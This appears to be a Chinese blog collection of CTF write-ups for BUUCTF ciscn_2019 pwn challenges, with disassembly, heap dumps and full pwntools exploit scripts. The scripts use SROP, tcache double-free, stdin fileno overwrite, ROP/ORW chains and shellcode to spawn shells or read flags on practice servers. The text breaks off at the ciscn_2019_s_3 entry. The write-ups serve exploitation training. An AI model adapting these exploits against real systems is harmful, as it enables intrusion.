; read(fd,buf,0x400) ; write(fd,buf,0x30) ; Attributes: bp-based frame public vuln vuln proc near ; CODE XREF: main+14↓p buf = byte ptr -10h ; __unwind { push rbp mov rbp, rsp xor rax, rax mov edx, 400h ; count lea rsi, [rsp+buf] ; buf mov rdi, rax ; fd syscall ; LINUX - sys_read mov rax, 1 mov edx, 30h ; count lea rsi, [rsp+buf] ; buf mov rdi, rax ; fd syscall ; LINUX - sys_write retn vuln endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- pop rbp retn ; } // starts at 4004ED
分析syscall,发现只有read和write。
gadgets
gadgets proc near ; __unwind { push rbp mov rbp, rsp mov rax, 0Fh ; //constants.SYS_sigreturn retn gadgets endp ; sp-analysis failed ; --------------------------------------------------------------------------- mov rax, 3Bh ; //execve retn ; --------------------------------------------------------------------------- db 90h ; --------------------------------------------------------------------------- pop rbp retn ; } // starts at 4004D6
mov rax, 0Fh: 在syscall里面,0xf 代表constants.SYS_sigreturn
mov rax, 3Bh: 在syscall里面,0x3b 代表execve
所以要用SROP
3.EXP
from pwn import *from LibcSearcher import *context.log_level ='debug' context.arch='amd64' sh=remote("node3.buuoj.cn" ,27162 ) syscall_ret=0x400517 read=0x4004f1 movrax_sigreturn=0x4004da movrax_system=0x4004E2 sh.send("/bin/sh" +"\x00" *9 +p64(read)) sh.recv(32 ) stack_addr=u64(sh.recv(8 )) log.success("stack: " +hex (stack_addr)) sh.recv(8 ) sigframe = SigreturnFrame() sigframe.rax = constants.SYS_execve sigframe.rdi = stack_addr - 280 sigframe.rsi = 0x0 sigframe.rdx = 0x0 sigframe.rsp = stack_addr sigframe.rip = syscall_ret sh.send("/bin/sh" +"\x00" *9 +p64(movrax_sigreturn)+p64(syscall_ret)+str (sigframe)) sh.interactive()
ciscn_2019_final_2
1.checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
老几样了
def add_int (add_type, add_num ): p.sendlineafter('> ' , '1' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , '1' ) p.sendafter('your inode number:' , str (add_num)) def add_short (add_num ): p.sendlineafter('> ' , '1' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , '2' ) p.sendafter(':' , str (add_num)) def remove (remove_type ): p.sendlineafter('which command?\n> ' , '2' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , str (remove_type)) def show (show_type ): p.sendlineafter('> ' , '3' ) p.sendlineafter('short int\n>' , str (show_type)) if show_type == 1 : p.recvuntil(':' ) elif show_type == 2 : p.recvuntil(':' ) return int (p.recvuntil('\n' ))
init
fd = open("flag" , 0 ); if ( fd == -1 ){ puts ("no such file :flag" ); exit (-1 ); } dup2(fd, 666 ); close(fd);
dup2(fd, 666)的意思是,newfd指向oldfd句柄指向的文件描述符结构,即原本是指向标准输出文件描述结构体的666指向了flag,这样一来,原本输出
到显示器终端的字符串就打印到test.file文件中了,这也是Linux操作系统的重定向实现方法
fileno()用来取得参数stream指定的文件流所使用的文件描述词
返回值 :返回和stream文件流对应的文件描述符。如果失败,返回-1
bye_bye
void __noreturn bye_bye () { char v0; unsigned __int64 v1; v1 = __readfsqword(0x28 u); puts ("what do you want to say at last? " ); __isoc99_scanf("%99s" , &v0); printf ("your message :%s we have received...\n" , &v0); puts ("have fun !" ); exit (0 ); }
结合init可知,最后基本上就靠这个函数得到flag了
delete
if ( v1 == 1 && int_pt ) { free (int_pt); bool = 0 ; puts ("remove success !" ); } if ( v1 == 2 && short_pt ) { free (short_pt); bool = 0 ; puts ("remove success !" ); }
释放指针指向的地址后,指针未置零
add
if ( v3 == 1 ) { int_pt = malloc (0x20 uLL); if ( !int_pt ) exit (-1 ); bool = 1 ; printf ("your inode number:" ); v0 = (int *)int_pt; *v0 = get_atoi(); *((_DWORD *)int_pt + 2 ) = *(_DWORD *)int_pt; puts ("add success !" ); } if ( v3 == 2 ) { short_pt = malloc (0x10 uLL); if ( !short_pt ) exit (-1 ); bool = 1 ; printf ("your inode number:" ); v1 = get_atoi(); *(_WORD *)short_pt = v1; *((_WORD *)short_pt + 4 ) = *(_WORD *)short_pt; puts ("add success !" ); }
每次分配的空间都是固定的
.bss
.bss:0000000000202050 int_pt dq ? ; DATA XREF: show+4E↑r .bss:0000000000202050 ; show+5A↑r ... .bss:0000000000202058 public short_pt .bss:0000000000202058 ; void *short_pt .bss:0000000000202058 short_pt dq ? ; DATA XREF: show+7C↑r .bss:0000000000202058 ; show+88↑r ... .bss:0000000000202060 public _bool .bss:0000000000202060 _bool dd ? ; DATA XREF: allocate:loc_F8C↑w .bss:0000000000202060 ; allocate:loc_1009↑w ... .bss:0000000000202064 align 8 .bss:0000000000202064 _bss ends
int_pt和short_pt均为全局指针变量
环境是ubuntu18,应该是用tcache累加得到一个unsorted bin,最后释放后得到libc base,得到fileno;然后利用house of spirit将stdin的fileno改为666,scanf就会从flag文件读取flag
GDB
over_lapping+libc_leak
add(1 ,0x30 ) remove(1 ) add(2 ,0x20 ) add(2 ,0x20 ) add(2 ,0x20 ) add(2 ,0x20 ) remove(2 ) add(1 ,0x30 ) remove(2 ) addr_chunk0_prev_size = show(2 ) - 0xa0 add(2 , addr_chunk0_prev_size) add(2 , addr_chunk0_prev_size) add(2 , 0x91 ) gdb.attach(p) 0x563281ce9250 PREV_INUSE { mchunk_prev_size = 145 , mchunk_size = 145 , fd = 0x30 , bk = 0x30 , fd_nextsize = 0x0 , bk_nextsize = 0x0 } 0x563281ce92e0 FASTBIN { mchunk_prev_size = 0 , mchunk_size = 33 , fd = 0x563281ce9250 , bk = 0x9250 , fd_nextsize = 0x0 , bk_nextsize = 0x20d01 }
其实是通过mchunk来实现合并,相关链接堆漏洞挖掘:08—chunk的mchunk_prev_size成员的空间复用
for i in range (0 , 7 ): remove(1 ) add(2 , 0x20 ) remove(1 ) 0x55fcf5564250 PREV_INUSE { mchunk_prev_size = 145 , mchunk_size = 145 , fd = 0x7f00598fcca0 <main_arena+96 >, bk = 0x7f00598fcca0 <main_arena+96 >, fd_nextsize = 0x0 , bk_nextsize = 0x0 } pwndbg> bin tcachebins 0x20 [ -1 ]: 0 0x90 [ 7 ]: 0x55fcf5564260 —▸ 0x7f00598fcca0 (main_arena+96 ) —▸ 0x55fcf55643e0 ◂— 0x0 ......................... unsortedbin all : 0x55fcf5564250 —▸ 0x7f00598fcca0 (main_arena+96 ) ◂— 0x55fcf5564250
不断申请和释放,由于tcache最多只能存储7个chunk,所以之前的全部被分配进了unsorted bin,实现了chunk的合并,之后偶就是常规的找地址了
4.EXP
from pwn import *context.log_level = "debug" p = process("./ciscn_final_2" ) elf = ELF('./ciscn_final_2' ) libc = ELF('/home/joe1sn/libc/64/libc-2.27.so' ) def add (add_type, add_num ): p.sendlineafter('which command?\n> ' , '1' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , str (add_type)) p.sendafter('your inode number:' , str (add_num)) def remove (remove_type ): p.sendlineafter('which command?\n> ' , '2' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , str (remove_type)) def show (show_type ): p.sendlineafter('which command?\n> ' , '3' ) p.sendlineafter('TYPE:\n1: int\n2: short int\n>' , str (show_type)) if show_type == 1 : p.recvuntil('your int type inode number :' ) elif show_type == 2 : p.recvuntil('your short type inode number :' ) return int (p.recvuntil('\n' , drop=True )) if __name__ == '__main__' : add(1 ,0x30 ) remove(1 ) add(2 ,0x20 ) add(2 ,0x20 ) add(2 ,0x20 ) add(2 ,0x20 ) remove(2 ) add(1 ,0x30 ) remove(2 ) addr_chunk0_prev_size = show(2 ) - 0xa0 add(2 , addr_chunk0_prev_size) add(2 , addr_chunk0_prev_size) add(2 , 0x91 ) for i in range (0 , 7 ): remove(1 ) add(2 , 0x20 ) remove(1 ) addr_main_arena = show(1 ) - 96 libcbase = addr_main_arena - libc.sym['__malloc_hook' ] - 0x10 addr__IO_2_1_stdin__fileno = libcbase + libc.sym['_IO_2_1_stdin_' ] + 0x70 log.success("libc base > %x" ,libcbase) log.success("addr IO 2 1 stdin fileno > %x" ,addr__IO_2_1_stdin__fileno) gdb.attach(p) add(1 , addr__IO_2_1_stdin__fileno) add(1 , 0x30 ) remove(1 ) add(2 , 0x20 ) remove(1 ) addr_chunk0_fd = show(1 ) - 0x30 add(1 , addr_chunk0_fd) add(1 , addr_chunk0_fd) add(1 , 111 ) add(1 , 666 ) p.sendlineafter('which command?\n> ' , '4' ) p.recvuntil('your message :' ) p.interactive()
EXP来源 PwnKi-ciscn_2019_final_2
ciscn_2019_final_3
1.checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
2.IDA
只有add和remove
def add (idx,size,data ): p.sendlineafter("choice > " ,'1' ) p.sendlineafter("the index" ,str (idx)) p.sendlineafter("the size" ,str (size)) p.sendlineafter("something" ,data) p.recvuntil('gift :' ) return int (p.recvline()[2 :],16 ) def free (idx ): p.sendlineafter("choice > " ,'2' ) p.sendlineafter("the index" ,str (idx))
add
v1 = std::operator <<<std::char_traits<char >>(&std::cout, "input the size" ); std::ostream::operator <<(v1, &std::endl<char ,std::char_traits<char >>); std::istream::operator >>(&std::cin, &size); if ( (unsigned int )size <= 0x78 ) { v2 = HIDWORD (size); qword_2022A0[v2] = malloc ((unsigned int )size); v3 = std::operator <<<std::char_traits<char >>(&std::cout, "now you can write something" ); std::ostream::operator <<(v3, &std::endl<char ,std::char_traits<char >>); READ (qword_2022A0[HIDWORD (size)], size); puts ("OK!" ); printf ("gift :%p\n" , qword_2022A0[HIDWORD (size)]); }
对申请的堆的大小进行了判断,并且可以给我们挡墙申请堆块的地址
remove
if ( v2 > 0x18 ) exit (0 ); free (qword_2022A0[v2]);
指针没有清零,所以我们可以多次释放来形成unsorted bin;
然后释放unsorted bin,来泄露libc base和malloc hook;
最后通过malloc hook+one gadget来getshehll
3.GDB
#code heap=add(0,0x78,'a')#0 print(hex(heap)) add(1,0x18,'b')#1 add(2,0x78,'c')#2 add(3,0x78,'d')#3 add(4,0x78,'c')#4 add(5,0x78,'d')#5 add(6,0x78,'c')#6 add(7,0x78,'d')#7 add(8,0x78,'c')#8 add(9,0x78,'d')#9 add(10,0x78,'c')#10 add(11,0x78,'d')#11 add(12,0x28,'d')#12 #dup (double free) free(12) free(12) gdb.attach(p) #输出> 0x557389971e70 #GDB 0x557389971e60 FASTBIN { mchunk_prev_size = 0, mchunk_size = 129, fd = 0xa61, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } 0x557389971ee0 FASTBIN { mchunk_prev_size = 0, mchunk_size = 33, fd = 0xa62, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x81 } 0x557389971f00 FASTBIN { mchunk_prev_size = 0, mchunk_size = 129, fd = 0xa63, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } ........................ ........................ 0x557389972400 FASTBIN { mchunk_prev_size = 0, mchunk_size = 49, fd = 0x557389972410, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } pwndbg> x/16gx 0x557389972400 0x557389972400: 0x0000000000000000 0x0000000000000031 0x557389972410: 0x0000557389972410 0x0000000000000000 0x557389972420: 0x0000000000000000 0x0000000000000000 0x557389972430: 0x0000000000000000 0x000000000000ebd1 0x557389972440: 0x0000000000000000 0x0000000000000000 0x557389972450: 0x0000000000000000 0x0000000000000000 0x557389972460: 0x0000000000000000 0x0000000000000000 0x557389972470: 0x0000000000000000 0x0000000000000000
#code add(13,0x28,p64(heap-0x10))#4 add(14,0x28,p64(heap-0x10))#5 add(15,0x28,p64(0)+p64(0x421))#get chunk0->size gdb.attach(p) >>>之前的输出为0x561fb56f5e60 #GDB 0x561fb56f5e60 PREV_INUSE { mchunk_prev_size = 0, mchunk_size = 1057, fd = 0xa0a, bk = 0x0, fd_nextsize = 0x0, bk_nextsize = 0x0 } >>>这里的size位已经被修改成了0x421为后面做准备
#code free(0) #unsort_bin chunk0->fd=libc free(1) #tcache add(16,0x78,'e')#7 add(17,0x18,'f')#8 get chunk1 gdb.attach(p) >>>输出 0x55584522be60 #GDB 0x55584522be60 FASTBIN { mchunk_prev_size = 0, mchunk_size = 129, fd = 0x7fbd07fc0a65, bk = 0x7fbd07fca090 <main_arena+1104>, fd_nextsize = 0x55584522be60, bk_nextsize = 0x55584522be60 } 0x55584522bee0 PREV_INUSE { mchunk_prev_size = 0, mchunk_size = 929, fd = 0x7fbd07fc0a66, bk = 0x7fbd07fc9ca0 <main_arena+96>, fd_nextsize = 0x0, bk_nextsize = 0x81 } pwndbg> bin tcachebins 0x20 [ 0]: 0x7fbd07fc9ca0 (main_arena+96) ◂— ... 0x30 [ -1]: 0 unsortedbin all [corrupted] FD: 0x55584522bee0 ◂— 0x7fbd07fc0a66 BK: 0x55584522bee0 —▸ 0x7fbd07fc9ca0 (main_arena+96) ◂— 0x55584522bee0 pwndbg> vmmap LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA ................... 0x55584521a000 0x55584523b000 rw-p 21000 0 [heap] .................................. 0x7fbd07bde000 0x7fbd07dc5000 r-xp 1e7000 0 /lib/x86_64-linux-gnu/libc-2.27.so >>>这里已经被修改为了unsorted bin,再次申请堆的话就是申请[0x562fe6debee0 PREV_INUSE]这块的bk,而且返回的地址是> bk = 0x7f22f4cccca0 <main_arena+96> #开始计算libc base >>> hex(0x7fbd07fc9ca0-0x7fbd07bde000) '0x3ebca0' [DEBUG] Received 0x33 bytes: 'OK!\n' 'gift :0x7fbd07fc9ca0\n' '1. add\n' '2. remove\n' 'choice > ' ('0x7fbd07bde000', '0x7fbd07fc9c30')
4.EXP
from pwn import *p = remote("node3.buuoj.cn" ,27672 ) libc=ELF('./libc.so.6' ) def add (idx,size,data ): p.sendlineafter("choice > " ,'1' ) p.sendlineafter("the index" ,str (idx)) p.sendlineafter("the size" ,str (size)) p.sendlineafter("something" ,data) p.recvuntil('gift :' ) return int (p.recvline()[2 :],16 ) def free (idx ): p.sendlineafter("choice > " ,'2' ) p.sendlineafter("the index" ,str (idx)) heap=add(0 ,0x78 ,'a' ) log.info("chunks 0> 0x%x" ,heap) add(1 ,0x18 ,'b' ) add(2 ,0x78 ,'c' ) add(3 ,0x78 ,'d' ) add(4 ,0x78 ,'c' ) add(5 ,0x78 ,'d' ) add(6 ,0x78 ,'c' ) add(7 ,0x78 ,'d' ) add(8 ,0x78 ,'c' ) add(9 ,0x78 ,'d' ) add(10 ,0x78 ,'c' ) add(11 ,0x78 ,'d' ) add(12 ,0x28 ,'d' ) free(12 ) free(12 ) add(13 ,0x28 ,p64(heap-0x10 )) add(14 ,0x28 ,p64(heap-0x10 )) add(15 ,0x28 ,p64(0 )+p64(0x421 )) free(0 ) free(1 ) add(16 ,0x78 ,'e' ) add(17 ,0x18 ,'f' ) leak=add(18 ,0x18 ,'g' ) libc_base =leak - 0x3ebca0 malloc_hook=libc_base+libc.sym['__malloc_hook' ] one_gadget=libc_base+0x10a38c log.info("libc base 0x%x" ,libc_base) log.info("malloc hook 0x%x" ,malloc_hook) log.info("one gadget 0x%x" ,one_gadget) free(5 ) free(5 ) add(19 ,0x78 ,p64(malloc_hook)) add(20 ,0x78 ,p64(malloc_hook)) add(21 ,0x78 ,p64(one_gadget)) p.sendline('1' ) p.sendline('22' ) p.sendline('0;cat flag' ) p.interactive()
ciscn_2019_final_4
https://blog.csdn.net/seaaseesa/article/details/105855306
1.checksec
Arch: amd64-64-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
sandbox
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000000 A = sys_number 0001: 0x35 0x02 0x00 0x40000000 if (A >= 0x40000000) goto 0004 0002: 0x15 0x01 0x00 0x0000003b if (A == execve) goto 0004 0003: 0x06 0x00 0x00 0x7fff0000 return ALLOW 0004: 0x06 0x00 0x00 0x00000000 return KILL
delete
unsigned __int64 delete () { int idx; unsigned __int64 v2; v2 = __readfsqword(0x28 u); puts ("please don't patch this function!! I will check it!!" ); puts ("index ?" ); _isoc99_scanf("%d" , &idx); if ( idx >= 0 && idx <= 31 && note[idx] ) free (note[idx]); else puts ("invalid index" ); return __readfsqword(0x28 u) ^ v2; }
uaf造成double free
程序只能orw,存在uaf,chunk->size大小随意,show可以泄露
3.思路
4.EXP
from pwn import * sh = remote('node3.buuoj.cn' ,25021 ) libc = ELF('libc-2.23.so' ) malloc_hook_s = libc.symbols['__malloc_hook' ] environ_s = libc.symbols['__environ' ] fake_chunk = p64(0 ) + p64(0x81 ) payload = 'a' *0xE8 + fake_chunk sh.sendafter('what is your name?' ,payload) def add (size,content ): sh.sendlineafter('>>' ,'1' ) sh.sendlineafter('size?' ,str (size)) sh.sendafter('content?' ,content) def delete (index ): sh.sendlineafter('>>' ,'2' ) sh.sendlineafter('index ?' ,str (index)) def show (index ): sh.sendlineafter('>>' ,'3' ) sh.sendlineafter('index ?' ,str (index)) add(0x100 ,'a' *0x100 ) add(0x78 ,'b' *0x78 ) add(0x78 ,'c' *0x78 ) add(0x38 ,'d' *0x38 ) add(0x38 ,'e' *0x38 ) add(0x10 ,'d' *0x10 ) add(0x81 ,'f' *0x81 ) heapsize6_addr = 0x0000000000602058 note_addr = 0x00000000006020C0 delete(0 ) show(0 ) sh.recvuntil('\n' ) main_arena_88 = u64(sh.recv(6 ).ljust(8 ,'\x00' )) malloc_hook_addr = (main_arena_88 & 0xFFFFFFFFFFFFF000 ) + (malloc_hook_s & 0xFFF ) libc_base = malloc_hook_addr - malloc_hook_s environ_addr = libc_base + environ_s pop_rdi = libc_base + 0x0000000000021102 pop_rsi = libc_base + 0x00000000000202e8 pop_rdx = libc_base + 0x0000000000001b92 add_rsp_148 = libc_base + 0x00000000000353aa openat_addr = libc_base + libc.sym['openat' ] read_addr = libc_base + libc.sym['read' ] puts_addr = libc_base + libc.sym['puts' ] print 'libc_base=' ,hex (libc_base)print 'environ_addr=' ,hex (environ_addr)delete(1 ) delete(2 ) delete(1 ) add(0x78 ,p64(heapsize6_addr - 0x8 )) add(0x78 ,'c' ) add(0x78 ,'a' ) payload = '\x00' *0x60 payload += p64(environ_addr) add(0x78 ,payload) show(0 ) sh.recvuntil('\n' ) stack_addr = u64(sh.recv(6 ).ljust(8 ,'\x00' )) print 'stack_addr=' ,hex (stack_addr)fake_chunk_stack_addr = stack_addr - 0x120 print 'fake_chunk_stack_addr=' ,hex (fake_chunk_stack_addr)delete(1 ) delete(2 ) delete(1 ) add(0x78 ,p64(fake_chunk_stack_addr)) add(0x78 ,'c' ) add(0x78 ,'a' ) add(0x78 ,'d' *0x11 ) show(14 ) sh.recvuntil('d' *0x11 ) canary = u64(sh.recv(7 ).rjust(8 ,'\x00' )) print 'canary=' ,hex (canary)delete(1 ) delete(2 ) delete(1 ) add(0x78 ,p64(fake_chunk_stack_addr)) add(0x78 ,'c' ) add(0x78 ,'a' ) next_rop_addr = fake_chunk_stack_addr + 0x88 payload = 'a' *0x40 payload += p64(pop_rdi) + p64(0 ) + p64(pop_rsi) + p64(next_rop_addr) + p64(pop_rdx) + p64(0x1000 ) + p64(read_addr) add(0x78 ,payload) fake_chunk_stack_addr2 = stack_addr - 0x246 delete(3 ) delete(4 ) delete(3 ) add(0x38 ,p64(fake_chunk_stack_addr2)) add(0x38 ,'c' ) add(0x38 ,'a' ) payload = 'd' *0x6 + p64(canary) + p64(0 ) payload += p64(add_rsp_148) add(0x38 ,payload) flag_addr = next_rop_addr + 0x88 rop = p64(pop_rdi) + p64(0 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdi) + p64(0 ) + p64(openat_addr) rop += p64(pop_rdi) + p64(3 ) + p64(pop_rsi) + p64(flag_addr) + p64(pop_rdx) + p64(0x30 ) + p64(read_addr) rop += p64(pop_rdi) + p64(flag_addr) + p64(puts_addr) rop += '/flag\x00' sleep(0.5 ) sh.send(rop) sh.interactive()
ciscn_2019_n_1
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { int v4; init(*(_QWORD *)&argc, argv, envp); puts ("EEEEEEE hh iii " ); puts ("EE mm mm mmmm aa aa cccc hh nn nnn eee " ); puts ("EEEEE mmm mm mm aa aaa cc hhhhhh iii nnn nn ee e " ); puts ("EE mmm mm mm aa aaa cc hh hh iii nn nn eeeee " ); puts ("EEEEEEE mmm mm mm aaa aa ccccc hh hh iii nn nn eeeee " ); puts ("====================================================================" ); puts ("Welcome to this Encryption machine\n" ); begin("Welcome to this Encryption machine\n" ); while ( 1 ) { while ( 1 ) { fflush(0LL ); v4 = 0 ; __isoc99_scanf("%d" , &v4); getchar(); if ( v4 != 2 ) break ; puts ("I think you can do it by yourself" ); begin("I think you can do it by yourself" ); } if ( v4 == 3 ) { puts ("Bye!" ); return 0 ; } if ( v4 != 1 ) break ; encrypt(); begin("%d" ); } puts ("Something Wrong!" ); return 0 ; }
encrypt
int encrypt () { size_t v0; char s[48 ]; __int16 v3; memset (s, 0 , sizeof (s)); v3 = 0 ; puts ("Input your Plaintext to be encrypted" ); gets(s); while ( 1 ) { v0 = (unsigned int )x; if ( v0 >= strlen (s) ) break ; if ( s[x] <= 96 || s[x] > 122 ) { if ( s[x] <= 64 || s[x] > 90 ) { if ( s[x] > 47 && s[x] <= 57 ) s[x] ^= 0xF u; } else { s[x] ^= 0xE u; } } else { s[x] ^= 0xD u; } ++x; } puts ("Ciphertext" ); return puts (s); }
没有binsh字符串,没有system函数,应该是一个puts函数泄露libc的题
BUUCTF的resource一栏有libc.so文件
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,25460 ) elf = ELF("./ciscn_2019_c_1" ) libc = ELF("./libc-2.27.so" ) puts_plt = elf.plt["puts" ] puts_got = elf.got["puts" ] main_addr = elf.sym["main" ] libc_puts = libc.sym["puts" ] system = libc.sym["system" ] binsh = next (libc.search('/bin/sh' )) pop_rdi = 0x0400c83 leave_ret = 0x04006b9 payload = 'A' *(0x50 +8 ) + p64(pop_rdi)+ p64(puts_got) + p64(puts_plt) + p64(main_addr) p.recvuntil("Input your choice!\n" ) p.sendline("1" ) p.recvuntil("Input your Plaintext to be encrypted\n" ) p.sendline(payload) p.recvuntil('@\n' ) puts_real = u64(p.recv(6 ).ljust(8 ,"\x00" )) libc_base = puts_real - libc_puts system_real = system + libc_base binsh_real = binsh + libc_base payload = '\x00' *(0x50 +8 ) + p64(leave_ret) + p64(pop_rdi) + p64(binsh_real) + p64(system_real) p.recvuntil("Input your choice!\n" ) p.sendline("1" ) p.recvuntil("Input your Plaintext to be encrypted\n" ) p.sendline(payload) p.interactive()
还有一个坑就是Ubuntu18下面调用system要对齐栈,就需要用一个ret
参照EXP:[https://www.jianshu.com/p/f6839b1e7283 ](
ciscn_2019_n_3
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
发现程序有三个功能
puts ("1. New note" );puts ("2. Del note" );puts ("3. Show note" );puts ("4. Purchase Pro Edition" )
rec_str_free
int __cdecl rec_str_free (void *ptr) { free (*((void **)ptr + 2 )); free (ptr); return puts ("Note freed!" ); }
free后指针未清零
3.GDB动态调试
newnote(0 ,2 ,'a' *10 ,0x88 ) 0x8cf7000 FASTBIN { prev_size = 0 , size = 17 , fd = 0x80486de <rec_str_print>, bk = 0x8048725 <rec_str_free>, fd_nextsize = 0x8cf7018 , bk_nextsize = 0x91 } 0x8cf7010 PREV_INUSE { prev_size = 147812376 , size = 145 , fd = 0x61616161 , bk = 0x61616161 , fd_nextsize = 0xa6161 , bk_nextsize = 0x0 }
发现申请的堆里面含有rec_str_free的指针
我们可以利用UAF来修改指针,从而getshell
4.EXP
from pwn import *context.log_level = 'debug' elf = ELF("ciscn_2019_n_3" ) p = process("./ciscn_2019_n_3" ) def newnote (idx,type ,value,length=0 ): p.recvuntil("CNote > " ) p.sendline(str (1 )) p.recvuntil("Index > " ) p.sendline(str (idx)) p.recvuntil("Type > " ) p.sendline(str (type )) if type == 1 : p.recvuntil("Value > " ) p.sendline(str (value)) else : p.recvuntil("Length > " ) p.sendline(str (length)) p.recvuntil("Value > " ) if length == 8 : p.send(value) else : p.sendline(value) def delnote (idx ): p.recvuntil("CNote > " ) p.sendline(str (2 )) p.recvuntil("Index > " ) p.sendline(str (idx)) def shownote (idx ): p.recvuntil("CNote > " ) p.sendline(str (3 )) p.recvuntil("Index > " ) p.sendline(str (idx)) if __name__ == "__main__" : newnote(0 ,2 ,'a' *10 ,0x88 ) newnote(1 ,2 ,'a' *10 ,0x38 ) gdb.attach(p) newnote(2 ,1 ,0x41 ) delnote(1 ) delnote(2 ) newnote(3 ,2 ,'aaaa' +p32(elf.plt['system' ]),0xc ) newnote(4 ,2 ,"/bin/sh\x00" ,0x38 ) delnote(1 ) p.interactive()
ciscn_2019_n_5
1.checksec
Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { char v4; setvbuf(stdout , 0LL , 2 , 0LL ); puts ("tell me your name" ); read(0 , &name, 0x64 uLL); puts ("wow~ nice name!" ); puts ("What do you want to say to me?" ); gets(&v4, &name); return 0 ; }
name
.bss:0000000000601080 public name .bss:0000000000601080 name db ? ; ; DATA XREF: main+35↑o .bss:0000000000601081 db ? ; .bss:0000000000601082 db ? ; .bss:0000000000601083 db ? ; .bss:0000000000601084 db ? ; .bss:0000000000601085 db ? ; .bss:0000000000601086 db ? ; .bss:0000000000601087 db ? ;
既然没有保护,应该是shellcode,所以不要往复杂的方向想
shellcode + 溢出 + 栈转移
3.EXP
from pwn import *context.log_level = "debug" p = remote("node3.buuoj.cn" ,26651 ) elf = ELF("./ciscn_2019_n_5" ) context(arch='amd64' ,os='linux' ) name_addr = 0x0601080 shellcode = asm(shellcraft.sh()) p.recvuntil('tell me your name\n' ) p.sendline(shellcode) payload = 'a' *(0x20 +8 )+p64(name_addr) p.recvuntil('me?' ) p.sendline(payload) p.interactive()
context的类型一定要写
ciscn_2019_n_8
1.checksec()
[*] '/root/download/BUUCTF/ciscn_2019_n_8/ciscn_2019_n_8' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled
全保护,我尿了
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { int v4; int v5; var[13 ] = 0 ; var[14 ] = 0 ; init(); puts ("What's your name?" ); __isoc99_scanf("%s" , var, v4, v5); if ( *(_QWORD *)&var[13 ] ) { if ( *(_QWORD *)&var[13 ] == 17LL ) system("/bin/sh" ); else printf ( "something wrong! val is %d" , var[0 ], var[1 ], var[2 ], var[3 ], var[4 ], var[5 ], var[6 ], var[7 ], var[8 ], var[9 ], var[10 ], var[11 ], var[12 ], var[13 ], var[14 ]); } else { printf ("%s, Welcome!\n" , var); puts ("Try do something~" ); } return 0 ; }
第一个输入让var[13]为17可以进入,不管用啥方式,覆盖52个位置就可以传递17这个数字了,超级简单
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,26629 ) payload = "a" *52 + p32(17 ) p.sendlineafter("?" ,payload) p.interactive()
ciscn_2019_ne_5
1.checksec
Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { int v3; char src[4 ]; char v5; char s1[4 ]; char v7; int *v8; v8 = &argc; setbuf(stdin , 0 ); setbuf(stdout , 0 ); setbuf(stderr , 0 ); fflush(stdout ); *(_DWORD *)s1 = 48 ; memset (&v7, 0 , 0x60 u); *(_DWORD *)src = 0x30 ; memset (&v5, 0 , 0x7C u); puts ("Welcome to use LFS." ); printf ("Please input admin password:" ); __isoc99_scanf((int )"%100s" , (int )s1); if ( strcmp (s1, "administrator" ) ) { puts ("Password Error!" ); exit (0 ); } puts ("Welcome!" ); while ( 1 ) { puts ("Input your operation:" ); puts ("1.Add a log." ); puts ("2.Display all logs." ); puts ("3.Print all logs." ); printf ("0.Exit\n:" ); __isoc99_scanf((int )"%d" , (int )&v3); switch ( v3 ) { case 0 : exit (0 ); return ; case 1 : AddLog((int )src); break ; case 2 : Display(src); break ; case 3 : Print(); break ; case 4 : GetFlag(src); break ; default : continue ; } } }
GetFlag
int __cdecl GetFlag (char *src) { char dest[4 ]; char v3; *(_DWORD *)dest = 0x30 ; memset (&v3, 0 , 0x3C u); strcpy (dest, src); return printf ("The flag is your log:%s\n" , dest); }
取程序里面fflush的sh填入system参数+栈溢出
3.EXP
from pwn import *p = remote("node3.buuoj.cn" ,26685 ) elf = ELF("./ciscn_2019_ne_5" ) sys_addr = elf.plt['system' ] sh_addr = 0x080482E0 +0xA payload = 'a' *(0x48 +4 )+p32(sys_addr)+'aaaa' +p32(sh_addr) p.recvuntil('Please input admin password:' ) p.sendline('administrator' ) p.recvuntil('0.Exit\n:' ) p.sendline('1' ) p.recvuntil('Please input new log info:' ) p.sendline(payload) p.recvuntil('0.Exit\n:' ) p.sendline('4' ) p.interactive()
ciscn_2019_s_3
1.checksec()
root@joe1sn:~/download/BUUCTF/ciscn_2019_s_3# checksec ciscn_s_3 [*] '/root/download/BUUCTF/ciscn_2019_s_3/ciscn_s_3' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000)
2.IDA
main
int __cdecl main (int argc, const char **argv, const char **envp) { return vuln(); }
vuln
